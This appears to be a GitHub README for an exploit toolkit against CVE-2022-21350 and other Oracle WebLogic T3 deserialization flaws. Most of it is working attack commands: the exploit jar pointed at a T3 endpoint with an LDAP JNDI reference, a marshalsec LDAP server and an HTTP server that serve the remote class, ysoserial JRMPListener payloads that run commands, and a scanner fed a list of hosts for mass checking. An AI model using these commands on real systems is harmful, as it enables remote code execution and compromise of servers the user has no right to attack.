hktalent/cve-2022-21350Exploit toolkit for CVE-2022-21350 targeting Oracle WebLogic T3 protocol with payload generation, LDAP/HTTP servers, and support for multiple JDK versions.
Why two POCs? One with com._51pwn.hktalent.CreatJar.main(args); is used to create the minimal payload generation tool. After creation, use the other one.
Running CVE-2022-21350_powerBy_51pwn.jar to build the payload, errors do not affect the use of the payload.
CVE_2020_2551
CVE_2020_2555
CVE_2020_2883
CVE_2020_14645
CVE_2020_14756
CVE_2020_14825
CVE_2020_14841
CVE_2021_2394
CVE_2022_21306
CVE_2022_21350
docker run -d -p 7001:7001 -p 8453:8453 -v $PWD/setDomainEnv.sh:/home/weblogic/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/setDomainEnv.sh hktalent/weblogic:12.2.1.4.0
java -cp CVE-2022-21350_powerBy_51pwn.jar com._51pwn.CVE_2022_21350.Main "t3://127.0.0.1:7001/" "ldap://docker.for.mac.localhost:1389/UpX34defineClass"
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://docker.for.mac.localhost:8888/#UpX34defineClass' 1389
node httpServer.js
py3 ../WeblogicScan.py --tags 21350 -r -v -u http://127.0.0.1:7001
# more
cat ../T3_ver.txt|awk '{print $1}'|py3 ../WeblogicScan.py --tags 21350 -r -v -s
java -server -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=8453,server=y,suspend=n -Djava.compiler=NONE -cp ysuserial-0.9-su18-all.jar org.su18.ysuserial.exploit.JRMPListener 4444 CommonsCollections1 "ping 10.12.35.59"
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections1 "ping 10.12.35.59" java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "open /System/Applications/Calculator.app" >>/Users/51pwn/MyWork/TestPoc/JRMPListener.ser
cat test.ser
Running the error does not affect the generation of the payload and the effect of the payload Errors during execution do not affect payload generation or payload effectiveness.
nuclei -duc -t ./network/detection/weblogic-t3-detect.yaml -l list.txt
cd lib3
# split
py3 ../tools/splitTools.py -s wlfullclient_12.1.3.jar
# merge
py3 ../tools/splitTools.py -m wlfullclient_12.1.3.jar